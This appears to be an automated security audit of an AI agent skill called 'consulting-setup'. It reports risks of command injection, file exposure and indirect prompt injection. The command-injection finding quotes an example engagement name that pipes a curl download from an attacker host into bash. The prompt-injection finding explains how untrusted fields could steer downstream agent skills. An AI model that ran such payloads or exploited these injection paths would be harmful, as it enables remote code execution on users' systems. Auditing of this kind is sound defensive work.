The Agent Skills Directory

[COMMAND_EXECUTION]: The skill executes a shell script located at $CLAUDE_PLUGIN_ROOT/scripts/engagement-init.sh using arguments derived from user-provided input.
Evidence: The instruction bash $CLAUDE_PLUGIN_ROOT/scripts/engagement-init.sh "<workspace-dir>" "<engagement-slug>" uses <engagement-slug>, which is derived directly from the user-specified engagement name.
Risk: Without strict validation or sanitization of the engagement name, an attacker can perform command injection by including characters like ;, &, |, or backticks in the input. For example, an engagement name like Project; curl http://attacker.com/script | bash could result in unauthorized code execution.
[DATA_EXPOSURE]: The skill reads .workspace-config.json and other system/reference files to gather context.
Evidence: Accesses $CLAUDE_PLUGIN_ROOT/references/, .workspace-config.json, and writes to personas/{slug}.json and consulting-project.json.
Risk: While currently used for configuration, this pattern establishes the capability to read and manipulate files based on user-controlled slugs, which could be exploited if path traversal or injection occurs.
[PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection because it ingests untrusted user data (personas, outcomes, industries) and stores it in JSON files used by downstream skills.
Evidence (Ingestion Points): User input for engagement name, client, persona details, and desired outcome in Step 1 and Step 2b.
Evidence (Capability Inventory): The skill has Bash, Write, and Edit permissions, and downstream skills likely process the generated consulting-project.json.
Evidence (Sanitization): There are no instructions for the agent to sanitize or escape the content before writing it to the filesystem or using it in shell commands.
Evidence (Boundary Markers): No delimiters or 'ignore' instructions are used when interpolating these fields into the project configuration.

consulting-setup